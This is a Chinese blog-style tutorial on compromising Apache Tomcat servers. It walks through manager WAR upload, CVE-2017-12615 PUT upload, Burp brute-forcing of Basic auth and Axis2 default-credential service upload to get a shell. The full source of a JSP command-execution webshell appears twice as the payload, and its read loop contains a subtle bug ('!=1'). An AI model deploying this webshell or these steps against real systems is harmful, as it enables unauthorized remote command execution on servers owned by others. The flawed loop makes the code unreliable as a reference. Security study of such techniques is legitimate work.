Tomcat 安全问题

Tomcat 安全问题

前言

最近遇到客户的很多系统使用Tomcat服务器,于是科普一下关于Tomcat漏洞的知识。

Tomcat 简介

Tomcat

百科:Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。

下载需要的版本,windows下,启动\bin\startup.bat,默认端口是8080,通过修改\conf\server.xml配置文件,改变默认端口为8000。

–>

访问http://127.0.0.1:8000/

可以看到右边有三个选项

  1. Server Status

  2. Manager App

  3. Host Manager

点击访问一下。

提示输入用户名和密码。需要将进行配置才能输入进入管理界面。

看到需要配置conf/tomcat-users.xml文件。四种不同的角色权限。

  • manager-gui - allows access to the HTML GUI and the status pages

  • manager-script - allows access to the text interface and the status pages

  • manager-jmx - allows access to the JMX proxy and the status pages

  • manager-status - allows access to the status pages only

这篇文章写的很好。# Tomcat Manager用户配置详解http://www.365mini.com/page/tomcat-manager-user-configuration.htm

Tomcat Manager是Tomcat自带的、用于对Tomcat自身以及部署在Tomcat上的应用进行管理的web应用。Tomcat是Java领域使用最广泛的服务器之一,因此Tomcat Manager也成为了使用非常普遍的功能应用。

在默认情况下,Tomcat Manager是处于禁用状态的。准确地说,Tomcat Manager需要以用户角色进行登录并授权才能使用相应的功能,不过Tomcat并没有配置任何默认的用户,因此需要我们进行相应的用户配置之后才能使用Tomcat Manager。

conf/tomcat-users.xml添加以下内容,重启服务。

1
2
3
4
5
6
7
8
<role rolename="admin"/>  
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<user username="admin" password="admin" roles="admin,admin-gui,admin-script,manager-gui,manager-script,manager-jmx,manager-status"/>

再次访问,输入用户名和密码,就可以进来了。

Tomcat getshell 1

既然进来了,就要考虑怎么getshell。

选择Manager App

上传War包

先将jsp马压缩为zip,再将zip后缀改名为war,然后上传war包。

本次上传的为xima.jsp。

1
2
3
4
5
6
7
8
9
10
11
12
13
<%  
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b)) !=1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

Tomcat CVE-2017-12615 Getshell

影响版本:7.0.0 to 7.0.79

默认配置不受影响。留后门利用的话,需要修改默认配置文件,如下。

修改配置文件 conf\server.xml

添加以下内容


readonly
false

漏洞利用条件

CVE-2017-12615 需要将readonly初始化参数由默认值设置为false。但是Tomcat7.x版本中的web.xml配置文件中没有readonly参数,需要手工添加,默认配置不受此漏洞影响。

版本–7.0.81

上传的时候出现,403禁止。。

版本–7.0.79

  • put请求,上传内容

  • 访问

  • 上传一木马
1
2

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b)) !=1){ out.println(new String(b)); } out.print("</pre>"); } %>

Tomcat 爆破

登录处进行抓包。

其中 Authorization: Basic dGVzdDp0ZXN0 是认证的数据。Base64解码可以看到:test:test

认证方式为: username:passwd用户名,冒号,密码。

使用Burp进行爆破。

设置payload

payload type选择Custom iterator,自定义爆破密码类型。

设置第一组payload为账号。第二组payload为冒号。第三组payload为密码。还有对设置的payload进行base64加密。

在最后的Payload Encoding中可以选择是否urlencode加密特殊字符,基础认证是不需要urlencode的,所以可以取消掉这个对号。

开始爆破。可以看到200爆破成功了,然后就可以登录进去部署shell了。实战中,需要依靠强大的字典。

Axis2 getshell

百科:AXIS2 不只为WEB应用程式提供Web服务的接口,而且它也可以作为一个单独的服务器看待,而且很简单就能跟Apache Tomcat整合。下载地址http://axis.apache.org/axis2/java/core/download.html

下载后,解压,将axis2.war放到Tomcat的\webapps目录下。访问:http://127.0.0.1:8000/axis2/axis2-web/

默认的管理员以及密码:admin/axis2

登录进来:

参考getshell:http://javaweb.org/?p=1548点击左侧“Upload Service”上传cat.arr。

部署成功后切到:Available Services(可用的services)。

利用上传上去的文件来执行命令。http://127.0.0.1:8000/axis2/services/Cat/exec?cmd=whoami

Tomcat 聚合

http://www.365mini.com/page/tomcat-manager-user-configuration.htm

https://blog.csdn.net/weixian52034/article/details/53218584
https://blog.csdn.net/kkgbn/article/details/52071109
https://tomcat.apache.org/
https://weibo.com/ttarticle/p/show?id=2309351002704074472985516075
https://mp.weixin.qq.com/s/-dgcKKCjT8C2yDxMOXDyLA
http://javaweb.org/?p=567
https://www.hackersb.cn/hacker/183.html
http://blog.51cto.com/nekesec/1746874
http://javaweb.org/?p=1548
https://www.aliyun.com/jiaocheng/546247.html
https://www.bodkin.ren/index.php/archives/27/